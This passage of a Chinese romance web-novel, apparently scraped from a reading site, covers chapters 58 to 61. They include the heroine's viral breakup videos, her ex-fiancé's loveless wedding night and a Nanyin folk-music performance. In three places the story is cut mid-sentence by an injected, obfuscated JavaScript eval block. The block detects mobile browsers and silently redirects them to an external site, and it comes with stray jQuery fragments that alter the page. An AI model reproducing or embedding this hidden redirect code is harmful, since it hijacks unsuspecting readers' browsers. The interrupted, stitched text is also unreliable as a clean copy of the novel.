他始终不肯承认的是，他对甄好口中的Q先生嫉妒到发狂，他嫉妒到想疯狂占有她。 嫉妒秦深能够拥有甄好最美好的八年时光，嫉妒秦深在甄好最天真赤忱的时候能够陪着她，也嫉妒秦深是第一个拥有甄好满腔爱恋的人。 但他对秦深更多的是怨恨。 恨他没有好好珍惜甄好，恨他伤害了那么那么好的甄好。 “不好意思，我情绪有点激动。一口气说了这么多，有点累了。下次再说吧。” 最后甄好以这样简单的一句话结束了整段视频。 时序打开评论区，随便划拉了两下，眉头越皱越紧。 他忍不住在大清早给自己的特助徐洋打去电话，电话响了几声，对方才接了起来。 “徐特助，替我做件事。东西发你微信了，找人给评论区攻击博主的网友发律师函警告。”徐洋一接听，时序就冷声开口。 “啊？”徐洋的声音听起来明显就是刚睡醒，大脑还在开机中。 “看微信。”时序言简意赅，说完就挂断了电话。 徐洋：“……” 他刚毕业就在裴氏集团任职，做时序的特助已经三年了。刚接触这位小少爷的时候，他满脑子都是对未来继承人的刻板印象：冷漠、自我、吹毛求疵…… 可事实上，时序很少有为难他的时候，虽然话是少了点，但每次派发任务都清晰又人性化，是个难得的好老板。 但这一次，徐洋一边看时序发来的消息，一边摸着耳垂百思不得其解——他家老板怎么看起了失恋情感视频？ 但他莫名觉得这个口播博主的声音有点耳熟，好像在哪里听过。 不等他想太多，时序的消息又发了过来：“给你两个小时的时间。” 徐洋握着手机的手一抖，顿时没了八卦的心思，秒回道：“收到，老板。” 甄好醒来的时候才发现原来自己只睡了四十分钟。 她突然想起自己昨晚发的口播，于是拿起手机打开视频软件。 手机的卡顿让她心下一惊，等看到后台的消息通知时，更是震惊地瞪大双眼，刚睡醒的迷蒙感也在一瞬间消失。 六十万点赞，五十万收藏，三十万评论…… 她随口发的一条牢骚口播竟然火了。 甄好立即坐起身来，认真地看起了大家的评论—— --Novel--：“呜呜呜，心疼姐妹！姐妹一定会越来越好的！” 冬枝晚a：“心疼＋1。蹲蹲短信内容到底是什么，好奇ing……” 恋晚日记-小佳：“气死我啦！伤害女人的男人都不是什么好东西！小三真有脸呢，还好意思邀请你参加他们的婚礼！气死我了，气死我了，气死我了！” 250250250：“跟人睡了八年……以后谁娶你谁倒了八辈子霉。” 7Yc_春山宇时韵：“250是吃了屎吗？大晚上的喷粪，真晦气！你倒是有自知之明，名字取得好。滚！” 十二琦：“保护我方小姐姐，恶心男退散！” 就是嘴臭怎么了：“250老兄说得对啊，跟别人睡了八年，谁知道肚子里有没有命案，兄弟们以后找老婆擦亮眼睛，千万别找这种。” 夢里見阿彩-：“大过年的，别逼我骂人啊。深呼吸深呼吸，我要积德，口出恶语不利于发财。小姐姐别理那些恶心男，你只是失恋了，不是犯了天条，抱抱你。” Keen小太阳：“某些恶臭男，大好日子别逼我扇你们。” 宋栀眠_3：“我也想扇。算了，嫌手脏。小姐姐别理他们。” 慕晚x：“嫌手脏＋1。小姐姐别听他们瞎说。” 姜歆懿_LOVE：：“心疼小姐姐，抱抱小姐姐。” 秋栀荷叶：“心疼小姐姐，抱抱小姐姐。” ci一颗九梅：“心疼小姐姐，抱抱小姐姐。” 爱看美女：“一定是长得丑，人家不愿意娶你。” 钱从四面八方来：“母猪被你看到都要嫌晦气，回家照照镜子看看自己配不配看美女吧，死丑男！” 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003446|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄不遂懿：“真是活久见，互联网某朝余孽真是一茬又一茬。姐妹不哭，我去帮你骂人。” 泪腺发达的鱼p：“提问：给婚礼现场寄花圈犯法吗？” 夏桔灯：“回答寄花圈的姐妹，不犯法，但掉功德。” 远山乔：“这功德我不要了，组团寄花圈的有没有？” ………… 在组团寄花圈的这条评论下跟了很多想组团的姐妹，点赞数也一直在飙升。 评论的内容五花八门，说什么的都有，甄好一路看下来，心情起起伏伏，五味杂陈，但更多的是感动。 电子姐妹真的太温柔了，她看得眼睛发热。 因为秦深结婚而暂时偃旗息鼓的事业心也再度高涨，她当即下床简单地洗漱了一下，又快速地吃完早餐，便钻进书房里剪辑起了视频。 前几日去南溪镇拍的那些素材她还没来得及整理。 看着传到电脑上的那些素材，甄好嘴角的笑容不禁越来越大。 小时候，她不想回家，只想和好朋友待在一起。她常常想，要是周淳芮和鄢云书是她的家人就好了，要是可以自己选择谁做家人就好了…… 现在长大了，她已经跟“选择家人”这个话题和解了，这个课题不再成为她人生中的困扰。 她接受了家人可能没那么爱自己，也接受了好朋友会有更爱的人，她明白了自己要做世上第一爱自己的人。 甄好打开文档开始为接下来要剪辑的视频写脚本，当初那个热爱写作的小女孩没有成为作家，但也用自己的专长在别的领域开出了花。 事实证明，坚持是有用的，热爱是可以抵岁月漫长的。 其间，甄美送进来一些水果，甄好太过专注并未发现。 等发现那盘润泽饱满的车厘子时，她心中淌过一阵暖流。 那是她最爱吃的水果之一。 她看了一眼手机，才发现已经中午十一点半了，差不多到了甄家开饭的时间。 甄好将目光移到电脑屏幕上，脚本已经写完，视频剪辑还需要花点时间。于是她站起身，慢慢地伸了个懒腰，决定先解决温饱，下午再继续工作。 吃过午饭，甄好小睡了三十分钟就起床接着剪辑视频了。 时间在她沉浸式的工作中悄然流逝，点击发送的那一刻，她感到前所未有的轻松。 三人小群里正好有人发来消息，甄好打开一看，如她所料，是周淳芮发来的。 周淳芮：“好好、云云，晚上喝小酒去？” 看了消息，甄好内心感到一阵可惜，不过只持续了片刻，因为她要做的事情比喝酒更有意义。 她捧着手机打字：“婉拒了哈，你们的甄老师最近有演出。” 周淳芮：“和谁？！” 甄好：“和陆师兄。” 周淳芮：“和陆星湛那小子啊……话说回来，这小子追到咱们的孟大美女没？” 甄好：“记得来捧我场，顺便当面问他。” 周淳芮：“好呀好呀，在哪个馆？” 甄好：“在刺桐小学。” 周淳芮：“？” 甄好能理解她的震惊与不解，转而改为发语音：“是镇上举办的一个新年活动，让孩子们从小就接触南音文化，我觉得很有意义，就一口答应了。” 周淳芮也跟着用语音发了消息过来：“你说得也对。正好很多年没回小学看看了，哪天？我一定拖着云云一道去。” 鄢云书：“……” 她答应了吗？ 周淳芮：“哎呀，云云，你终于来了，我想薯你了。” 鄢云书：“……” 甄好：“云云也一起吗？大年初二演出。” 鄢云书：“好。那天医院刚好轮到我休假。” 周淳芮：“太好了！” 不同于周淳芮的兴奋，甄好内心要得平静很多。 兜兜转转这么多年，她好像直到快要迈进二十九岁的这年才慢慢找到自己的内心，知道自己到底想要做什么，想要过什么样的人生。 但幸好，她还很年轻，一切都还不算晚。 59. 狠狠欺负的冲动 年轻时的爱恋变成了一架纸飞机，摇摇欲坠地飞到半空，像极了童话的模样。 一场风，一场雨，纸飞机终究还是会落在地上，沾上污泥，湿了身。 ——《甄好日记》 安市秦家。 大婚当夜，秦深喝得烂醉，不仅吐了丰婉一身，在意识迷蒙中还抓着她的手不断呓语着：“好好，好好……别走好不好？我不能没有你……” 丰婉死死掐着掌心，嘴唇被她用力咬到几乎出血，才忍住没有发泄满腔的怒火。 这是他们的新婚之夜，她不想把事情闹得太难看。 毕竟这段婚姻是她求来的。 翌日，丰婉早早醒来，一个人坐在床沿发呆。 她原以为自己已经起得足够早，不承想身边的被窝早已凉透，秦深不知何时离开了。 一种难以言喻的屈辱感在她心中发酵，最后化为两滴眼泪落下。 这种情况她早该预料到，她在难过什么呢？ 可她就是难过到大脑有些发麻，需要靠紧紧咬住嘴唇才能不让自己哭出声。 外面有很轻的人声传来，是秦母在说话：“阿深，你怎么睡在书房了？你糊涂啊，洞房之夜怎么能让婉婉一个人睡？快，趁婉婉还没起来，赶紧回屋去，听妈话。” 秦母刻意将声音压得很低，可四周太过安静，丰婉又早已醒来，还是一字不落地听了个清楚。 原来秦深去书房睡了啊。 哪怕醉成那样他也还是不愿与她同房。 他口中的那位好好到底有什么好？值得他如此为她守身如玉，就算结婚了也不例外…… 丰婉越发对甄好好奇起来。 很快，她听见秦深用正常的音量说道：“妈，这是我的事，您少操心。” 秦母轻叹了口气，无奈道：“你这孩子。” 外面至此归于宁静。 丰婉勾起一抹苦涩的笑容，原本她还自信满满地认为，一旦结了婚，秦深一定会在自己的攻势之下慢慢甘为俘虏。只要她成为秦太太，往后的事就是水到渠成。 可她没想到新婚第一夜，秦深就这样对她。 不过丰婉没有让这种负面情绪持续太久，她能够从一个农村女孩打拼到如今小有成就的地位，就能够把婚姻生活经营得风生水起。 强烈的自尊心不允许她在任何事情上失败，包括男人，更何况这个男人已经是她的合法丈夫。 甄好再好，也只是他的过去式，不该成为他们夫妻之间的高墙。 “你醒了。”秦深嘴上虽然让秦母别操心，但到底还是听进去了，心里也对丰婉升起一丝愧疚之心，便决定回房粉饰太平。 “嗯，刚醒。”丰婉说着故意打了一个小小的哈欠。 “我起来上厕所，顺便出去抽了支烟。”秦深面不改色地说道。 明知他在说谎，可丰婉并未拆穿，反倒善解人意道：“昨晚累坏了吧，要不要再睡会儿？” “我先去洗个澡，身上都是味。”秦深低头闻了闻自己的衣服，“时间还早，你不用急着起床。” 他娶丰婉，本就是为了安母亲的心。 秦母福大命大，熬过了那次病危，身体也逐渐好转，只是要注意日常饮食和避免过于操劳。 对于秦深决定娶丰婉为妻这件事，秦家其他五个人都程度不一地劝过他，他们都怕他将来会后悔，要他三思而后行。 秦父在得知秦深要与甄好退婚时，更是气得拿起拐杖狠狠地打了他一下，并放下狠话：“你要是敢与好好那丫头退婚，我就跟你断绝父子关系！” 然而秦深不为所动，任凭父亲打骂，说出的话也坚定无比：“阿爸，我是成年人了，我会为我自己的行为负责的。” 秦父气得当场犯了高血压。 “阿深啊，好好是个好姑娘，你不能辜负人家啊。”秦母的劝阻则显得更有人情味，“我和你阿爸，还有你的三个姐姐们都很喜欢这丫头，你莫要做让自己后悔终生的事情啊，儿子。” “妈，我知道自己在做什么。你们不要为我担心了。”面对温柔的母亲，秦深仍旧油盐不进。 秦深的三个姐姐都已经外嫁，但时常会回家看望父母，私下里也都没少劝秦深。 大姐劝他：“阿弟，我知道我说什么都无法改变你的决定，但作为你的家人，作为你的大姐，我希望你能够得到幸福。婚姻不是儿戏，好好八年的青春更不是假的，你真的想好了吗？” 秦深的态度十分坚决：“大姐，我想清楚了。” 二姐劝他：“阿深，我是看着你和好好从大学走到现在的，两个人能够有这么深的羁绊是天大的缘分，二姐不希望你冲动做事，你再想想好吗？” 秦深还是那句话：“二姐，我真的想好了。” 三姐则是劈头盖脸就骂他：“秦深，你脑子是不是有病？放着好好那么好的女孩你不要，你到底要怎样？人家好好怎么你了，要被你这样糟践！真是气死我了！你敢跟好好退婚，就别叫我三姐！” 秦深的三姐跟他年纪相差不大，两人从小一起上下学，感情要比其他两位姐姐亲厚许多，她说话也就显得更加不客气，只差没拧着他的耳朵破口大骂了。 他从小就最听这位三姐的话，可这回不同，他坚持己见：“三姐，你别劝我了，我想得很清楚了。” 却没人知道他真正想清楚的是什么，他也从未与任何人说起过，包括甄好。 人的长大好像只在一瞬间，或者很多个瞬间。 是在秦甄两家谈婚论嫁，谈及婚假风俗差异时的瞬间；是在秦母病重住进ICU，看见她满头青丝白了一半时的瞬间；也是在丰婉贴上带着酒气的柔软双唇时的瞬间…… 他在很多个矛盾又现实的瞬间，彻底意识到，南北饮食和风俗习惯的巨大差异势必会为他和甄好的婚姻埋下隐患，也必然会影响他们多年来的感情。更为重要的是，他不想让自己爱了多年的女孩陪自己受这些苦，也舍不得两人最后变成为了柴米油盐而红脸争吵甚至大打出手的不堪模样…… 那些挣扎和纠结的日子里，他的脑子里有两个小人用力拉扯着神经，一个告诉他“娶到心爱的女人就像将军打了胜仗，是值得骄傲一辈子的事情”，另一个告诉他“爱是放手，是成全，是看到对方过得好”。 他在这两种极端的思想折磨下，整夜整夜地失眠，最后甚至严重到去看了心理医生，诊断结果是焦虑症和轻度抑郁情绪。 他将诊断报告单藏得严严实实，他偷偷地吃药，不让任何一个人发现自己生病了。 直到那一夜，直到彻底毁掉他和甄好所有可能的那一夜。 丰婉看穿了他所有伪装的脆弱，也知道了他情绪压抑的来源，在酒精的作用下，他将多年的压力与苦楚一并倒出。说到最后，他没忍住将脸埋在双手间，无声无息地默默垂泪。 是一双温暖的手轻轻抚平他紧皱的眉心，丰婉温柔地捧着他的脸，一个字一个字轻柔地告诉他：“阿深，你太累了，休息一下，好不好？” 她说着慢慢靠近他，四片滚烫的双唇很快紧紧相贴，他内心的颤抖就这样被轻轻吻去。 “阿深，我不介意你心里还有她，我愿意等她离开你的心。”丰婉动情地亲吻着他，换气时说出的每一个字都重重地敲打在他心上，“你不是想结婚吗？我愿意什么都不要，只要能跟你结婚，多久我都愿意等。” 后来的事情顺理成章，秦深在丰婉的柔情攻势下彻底迷失了自己。 秦深进了浴室，任凭水流打在头顶。 他已经结婚了，他已经没有后路可以走了，他的人生就到这里了。 甄好结束群聊后，打开抽屉想拿手机充电器，却无意间看到了一个小盒子。 深蓝色的丝绒盒子，里面静静地躺着一枚钻戒。 它是什么时候被放在这里的，甄好已经不记得了。钻石闪烁着璀璨的光芒，瞬间就刺痛了她的眼睛。 这枚戒指是由秦深的三姐寄到她手中的，连同戒指盒一起到她手中的，还有数十封情真意切的书信。 在电子产品盛行的时代，甄好偏爱信纸拿在手中的那种特别触感，所以会在某些重要的节日给秦深写信，或三言两语，或洋洋洒洒写了满满好几页。 也是拆开包裹的当下，她才知道原来她的心意都被他细心妥帖地收了起来。 秦家搬入新房时，秦深的三姐收拾旧物件发现了这些东西，当时甄好和秦深已经分开多时，但他三姐藏着私心，想让两人回心转意重修于好，便悄悄寄到了甄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010020|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家。 事实上，这枚戒指甄好从未见过。 秦深向她求婚的时候，两人都还年轻，工作不稳定，身上没什么钱，他只买得起纯银的戒指，她却感受到了满满的幸福。 他向她许诺，等以后有了钱一定给她换一枚大钻戒。 他做到了，可她不在他身边了。 甄好很感谢他三姐释放的善意和真心，可覆水难收，她和秦深的缘分已经到了尽头，再无续缘的可能。 后来她的生活也经历了一番兵荒马乱，自然而然将这两样东西忘到了脑后，而今突然见到，让她好一阵恍惚。 只能等过完春节再还给秦深了。 甄好这样想着，拿起纸笔写下一句：“戒指应该回到它的主人身边。” 至于这个主人是刚成为秦太太的丰婉，或者是其他女人，已经与她再无干系。 打包好戒指盒和信件后，甄好又在工作台前坐了很久，大脑呈完全放空状态。 都说痛苦是创作的养料，那枚戒指催生出的负面情绪让她有了诉说的欲望，小号的第二条视频很快形成。 也许是倾诉会减少痛楚，甄好在一边回看一边剪辑的时候，心情已经舒爽了许多，甚至觉得耳边自己的声音比平时听着更加陌生。 女人略显低沉的声音好似离她很远，却还是将她拽入回忆当中。 剪辑完视频后，甄好又从头到尾听了一遍，检查是否有错误。 “我的电子姐妹们，晚上好。大家的评论我都看了，很感谢你们的安慰，不好的话我会当没看见。我只是想找个地方记录一下生活，大家可以不用关注我，再次感谢大家。 “说回正题，其实那条短信不是什么爆炸性的内容，只是Q先生高中时代暗恋过的一个女生半夜给他发的短信，这里称她为Z吧。Z说她喝醉了，想让他去酒吧接她回家。这已经是好几年前发生的事情了，现在想起来实在是一件微不足道的小事，可当时年轻，看到的一瞬间觉得天都要塌下来了。 “后来我们吵啊闹啊，吵累了，他抱着我一遍又一遍地保证他会删掉那个女生，再也不联系，我信了，我们就这样和好了，感情甚至比原来还要好。 “可原来一切都只是他哄我的说辞而已，不久后我又在他的朋友圈里发现了异常。或许是女人的直觉，我几乎是一瞬间就确定那个头像的主人便是Z。在这里我要特别说明一下，我不是特意去翻看Q先生的手机，我一直不喜欢做这种事情，每一次都是在无意间发生的。这真是应了那句话，若要人不知，除非己莫为。 “而秦先生的这次行为实在是让我太失望了。他竟然将Z的备注改成了与他相同姓氏的女生名，这导致我以为对方是他的某个亲戚，是自己想多了，如果不是我坚持问个清楚，也许这件事就这样揭过去了。我问他为什么要这么做，他说是Z一直添加他为好友，他不好意思拒绝，又怕我知道了多想，就想到了这个办法。 “我听完他的解释，直接气笑了。这一次，我们吵得比以往任何一次都要凶。他一遍又一遍地哄我，我却始终冷脸相对。后来是怎么和好的，我已经不记得了。而让我没想到的是，更离谱的事情还在后面……如果时光能够倒流，我会对当年的我说：放弃吧，这个男人不值得你爱。 “时间有限，今天就讲到这里啦，下期再来跟大家聊一聊Z做了什么更离谱的事情，也跟大家说一说我都做了些什么蠢事。” 基于第一条视频的流量涨势，甄好想抓住这波流量池，所以在视频的最后卖了一个小小的关子。 如果能够通过自己的经历，让更多女孩子看清爱情的本质，变得主动去爱自己，那也是功德无量的一件事。 她点击发送的同时，另一边的时序手机也收到了对应推送。 他明知道甄好更新的内容不是自己想看的，可还是不由自主地点击打开。 他一边听一边幻想着画面，丝毫没发觉自己的手早已握成拳，甚至用力到指节有些发白。 甄好从未与他过多提及她与秦深之间的故事，他也从没想过要主动去探寻，更没想到自己会通过这种方式得知这些酸甜各半的恋情细节。 看到最后，时序发现自己又有了那种冲动。 那种将甄好狠狠压在身下欺负的冲动。 60. 想追求我们好好 那个冬日冷得刺骨，幸好太阳会升起，花会开。 ——《甄好日记》 五分钟后，徐洋收到小裴总发来的链接，和两个字：“干活。” 徐洋内心：“……” 但他不敢说，只敢小心翼翼地问一句：“小裴总，我现在有点急事，能不能晚两个小时处理……” 他是抱着被扣奖金的风险问出这个问题的，可是没办法，他这边正和女朋友的父母见面，终身大事耽误不得。 岂料时序之间发来一句语音：“奖金翻倍。” 简简单单的四个字却让徐洋脊背发凉，忙解释道：“小裴总，我不是那个意思。” 他字还没打完，时序又发来一句：“五倍。” 徐洋：“……” 他拿出手机默默地算了一下五倍奖金是多少钱，看到屏幕上那个惊人的数字后，果断地站起身，几乎将腰躬成了九十度：“对不起，叔叔阿姨，我可以请假两个小时吗？” 如果办事动力不足，那一定是钱给的不够多。 而时序给的实在太多了，徐洋觉得但凡自己有一秒钟的犹豫都是对金钱的不尊重。 四位老人包括徐洋的女朋友一开始都因为他的离谱行为而感到不满，可在知道这两个小时足以让他们的婚房面积翻一倍，顿时都挥着手让他赶紧去忙，别耽误人家小裴总的事。 尤其是徐洋的女朋友：“阿洋，不用急着回来，小裴总让你干啥就干啥，这顿饭我会帮你吃。” 徐洋：“……” 他想过家人们会心动，但没想过他们会这么心动。 而时序盯着慢慢上涨的赞数和评论，眉头越皱越紧。 评论区的恶意比上一次还大，说话难听的人一茬又一茬，看得他额头一跳一跳的。 如果甄好看到这些一定会很难过。 不能让她看到。 左思右想之下，他始终觉得发微信消息不够正式，于是不放心地直接给徐洋打去电话。 徐洋接得很快：“小裴总还有什么吩咐？” “我不想看到一条差评，一条都不想。”时序语气严肃地说道。 “我……”徐洋迟疑了片刻。 而就是这一秒钟的迟疑，让时序误会了：“十倍奖金。我不管你用什么方法，总之我不要看到一条差评。” “好的，小裴总。”徐洋连连答应。 “产生的所有费用年后找我报销。”时序皱着的眉头始终没有松开，“不卡预算。” “收到，小裴总。”徐洋不是第一次见到时序的杀伐果断，却是第一次见他自掏腰包处理一件事情。 而这件事情的主人公是个女人。 徐洋闻着了八卦味道，干起活来顿时更加有劲，好似躲在网络背后的“键盘侠”都是他的敌人，“杀”得他浑身舒爽。 大年初二。 经过几日的排练与休整，甄好与闽市南音传承中心的师兄弟姐妹们一同演出南音曲目——《百鸟归巢》。 甄好和陆星湛等人在临时搭设起来的简易化妆棚里准备演出事宜时，见周淳芮从不远处款款走来。 等她走近了些，甄好才开口问道：“云云呢？” “云云刚刚打电话说，她接个紧急病例，要晚点过来。”周淳芮慨叹道，“做医生好辛苦。” “芮芮也早起辛苦了。”周淳芮爱睡懒觉的习惯甄好再清楚不过了，要她这么早就爬起来看这场演出，当真是难为她了。 “这下你知道我有多爱你了吧？甄好好老师。”周淳芮凑到甄好身旁。 甄好刚化完妆，正在对着镜子检查妆造。周淳芮一靠近，镜中顿时出现两张脸。 一张不施粉黛，却娇嫩似出水芙蓉；一张红妆翠眉，生动宛若远山美人。 周淳芮惊艳道：“好好，这个妆容好适合你！” 这天的表演会穿上中国古代传统服饰，再配以合适的妆容，美得相得益彰，十分有韵味。 甄好有些不好意思地垂下眼睑，声音轻轻的：“真的吗？” 一道低沉清越的声音在这时插入：“真的。” 时序好大的身影出现在窄小的棚口，因为背光，他的脸看起来不是很真切。 甄好和周淳芮同时抬头看向他，周淳芮先开口打趣道：“哟，小裴总也这么早来看我们好好？” “芮芮……”甄好伸手扯了扯周淳芮的大衣下摆。 时序却没有几乎周淳芮的调侃，而是径直走到甄好面前。 周淳芮很自觉地后退几步，留给两人空间。 时序微微弯腰，一点一点地靠近甄好。 “怎……怎么了？”眼看着他越靠越近，甄好有些紧张起来。 这里人多眼杂，时序到底想干吗？ “不靠近一点怎么看清你这么美……”时序故意停顿了一秒才继续说，“的妆容。” “时序！”甄好心虚地看了一眼周淳芮，又瞪了一眼时序。 周淳芮很是上道：“小裴总，你这是想追求我们好好吗？” 从小到大，只要有机会，她就会见缝插针地撮合两人，哪怕是甄好和秦深在一起之后，她也抱着幻想，总会在秦深听不见的时候冒出一句：“好好，你跟时序真的没有可能了？” 每当她提起这茬，甄好都会义正词严地告诉她：“周淳芮，我现在是秦深的女朋友，再说这种话我就生气了。” 多好的好好，偏偏这世上有些死男人不知道珍惜。 想到秦深这个人，周淳芮就气得牙痒痒，同时也越看时序越满意。 她小时候就嗑的CP，如今终于有机会梦想成真了，这让她更加来劲：“我第一个赞同，甚至想把民政局给你们搬过来。” 这时，陆星湛的声音自外面传来：“准备上场。” 闻言，甄好心里一急，猛地起身。而时序还没来得及站直，两人就那么猝不及防地额头相撞。 时序本能地伸手搂住她的腰，动作绅士又轻柔，很快便放开了她。 “小心。”末了，时序还要这样对她说，嘴角勾着她所熟悉的痞笑。 甄好没理会他，站稳后便出了化妆棚。 冬日的暖阳铺洒大地，照在每个人脸上，笑声在传递，文化也在传承。 现场有很多小朋友，小到还在父母怀里咿呀学语，大到初中生，甚至有不少高中和大学生。 这出乎甄好的意料。 她原以为热爱南音曲目的多半为中老年人，尤其是在闽镇这样的小地方，年轻人应当更爱流行歌曲或小众音乐。 在她即将登台演出时，甚至有个看起来只有七八岁的小女孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017518|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一旁轻轻拉住她的大袖，声音怯生生的却带着坚定：“姐姐，你好漂亮。我以后也能穿上你这身衣裳吗？” 小女孩不知甄好身上穿的是什么服装，只知道好看，只知道自己想穿。 “当然可以啦，姐姐穿的是汉服，是我国的传统服饰。汉服文化博大精深，等你长大了可以慢慢了解哦。”甄好笑着告诉小女孩。 “我一定会的。”小女孩眼里满是期待的光。 整个南音乐团所演奏的《百鸟归巢》最大程度地还原了传统唱法和表达手法，前奏由四宝、南音琵琶、洞箫到拍板、三弦、二弦渐入佳境，在每个人耳边呈现出栩栩如生的林间盛景—— “天空为羽，大地为翼，日月为眸，余光是星。乾坤里透露足迹，九天祈风向东飞行……” 南音一声声婉转动人，极具古韵，令闻者只觉余味无穷。 《百鸟归巢》是南音四大名谱之一，其余三首分别是《四时景》《梅花操》和《走马》。四大名谱代表南音器乐曲的艺术巅峰，是闽市文化长河中一颗璀璨的瑰宝。 该曲目包含六个乐章：凤翔阿阁、喜鹊穿花、鸳鸯戢翼、流莺争树、群鸦投林，以洞箫花舌技法模拟鸟鸣，描绘黄昏百鸟归巢的祥和画面，表达对太平盛世的赞美。 南音保留唐宋古乐演奏技法，如甄好演出的这曲《百鸟归巢》中，洞箫的花舌吹法甚至可以追溯至唐代燕乐半字谱系统。 小时候的甄好是先听爷爷偶尔抱着琵琶弹唱自己听不懂的音调，后来慢慢长大了，知晓那是南音，可到底小孩子心性，总是“玩”字当头，在甄逾冬问她是否愿意跟着自己学南音时，她撒娇着敷衍过去了。 没能跟着爷爷学南音、弹琵琶成了甄好这辈子最大的遗憾，后来这个遗憾由秋先生弥补了大半，却始终带着缺憾。 失去总是来得猝不及防，在她还不懂死亡为何物时，凌欢永远离开了她；在她尚不懂人间疾苦时，爷爷离她而去；在她南音还未学有所成时，秋先生又…… 演出很成功，整个南音乐团获得了热烈的掌声，台下的观众脸上都满是赞赏。 甄好谢幕下台后又遇到了那个小女孩，她微笑着朝她点点头。 岂料那个小女孩又拉住了她的大袖，眼里满是崇拜的光芒：“漂亮姐姐，我以后可以像你一样上台唱南音吗？” “你知道什么是南音吗？”甄好蹲下来平视小女孩，语气温柔道。 “就是……”小女孩歪头思考片刻，才说道，“不知道。但我姐姐说会唱南音的人都很厉害！” “你姐姐？”甄好这才注意到小女孩身旁有个看上去高中模样的女生，正一脸激动地看着自己。 “甄……甄老师，我……”女生激动得脸颊泛红，说话都有些结结巴巴，“我很喜欢你！” 刚刚甄好上台前，她因为看到偶像而紧张不已，因此错过了和偶像面对面的交谈，没想到妹妹先拉住了甄好。 她无意间在视频软件刷到过甄好的南音乐团演出，便一发不可收拾，自此爱上了南音。在知晓甄好与自己是老乡，更是一心想着拜师。 没想到机会这么快就递到她面前来了，她当然要好好抓住。 然而她根本没有机会得到答复，因为甄美冲进人群，一把拉住甄好：“阿姐，跟我走，出事了！” 61. 他生怕控制不住 成长是一封写不完的信，落款是我们每个人。 ——《橘色告白》 甄家。 甄好一进门就看见地上坐着个人，那人背对着她，正对着地板又是拍打又是哭号的。 “我怎么命这么苦啊？老天为何如此无眼…… “为什么这种事情要落到我头上？难道我就活该吗…… “这日子可怎么熬……我不如跟着你们爷爷一道走算了！” 何允莲瘫坐在地上，脸上满是泪痕，整张脸丧得像是笼罩着一团黑气。 甄好看不见她的脸，却在听见她提起爷爷时，脸色一沉，问身边的甄美：“怎么回事？” “好好，你回来了啊。”甄美根本没机会说什么，何允莲就扭过头，一脸哀怨地盯着甄好，“好好，妈好辛苦，妈该怎么办……妈感觉就要去见你爷爷了……” 她每自称一句“妈”，甄好的眉头就皱一分。 从小到大，哪怕是如今已经脱胎换骨，她叫何允莲“妈”的时候还是会觉得很别扭。 何允莲说话中气十足，精神看起来也不错，只是脸色看起来颓丧不已，但无论如何，都不像是她口中说的“要去见爷爷”。 见甄好没有接何允莲的话，甄美才见缝插针地解释：“咱妈从上个月起，一直觉得哪里不舒服，我和阿爸断断续续带她去看了各个科室……” 她说到这里的时候，何允莲哀怨地看了她一眼，让她下意识停顿了片刻。 “结果呢？”甄好的眉头皱得更深了。 “结果什么事都没有……”甄美的话还没说完就被何允莲打断。 “肯定是你们瞒着我！”何允莲边说边从地上起身，大步朝两人走来，“一定是你们欺负我大字不识几个，骗我的！其实我快死了对不对？你们别骗我了。” “已经连续一个多月了，我每天睡不着，失眠多梦，一晚要出好几身汗，吃也吃不下，不吃胃又不舒服。我是忍了又忍，才忍不住告诉你们……尤其是好好，你刚经历了那么难的事情，我本不忍心让你增添烦恼，可是我难受啊，我真的太难受了！我命怎么这么苦啊……”何允莲大吐苦水。 而事实上，这番话甄美和甄黎以及甄东成已经听过无数遍。 “医生说老妈是更年期综合征，可是她不信，一直觉得自己有病，并且是治不好的绝症……”甄好凑到甄好耳边轻声道。 “你们姐妹俩瞒着我嘀嘀咕咕说什么呢？”何允莲说着声音哽咽起来，“我就说你们有事瞒着我吧，说吧，我还有多少时间……” 甄好：“……” 甄美：“……” “医生都说了你没事，你怎么就是不听？”甄东成正好从外面回来，听到何允莲最后那几句话，气不打一处来，“我们和医生说的你是一句也听不进去，其他人放个屁都是香的，是吧？” 这一个多月以来，他对何允莲从最初的耐心解答到后来的啰唆重复，再到现在的不耐烦，没人知道他经历了什么。 无论他做什么，何允莲都不满意；无论他和医生说什么，何允莲都觉得他们在骗她；甚至连医生开的药都不敢吃，怕吃了上瘾……这些就算了，偏偏她身边的任何人，只要是个人随便说一句“我上次也是你这种症状，吃了某种药就好了”，她就信得跟领了圣旨似的，立刻就要他或者甄美区买来让她吃。 合着他们和医生都会害她，不相干的人才是她的救命稻草呗，那现在又来哭什么？ 一听到甄东成这样说，何允莲的脸顿时垮了下来，可怜也不装了：“你别说话，我不爱听，不想听。” 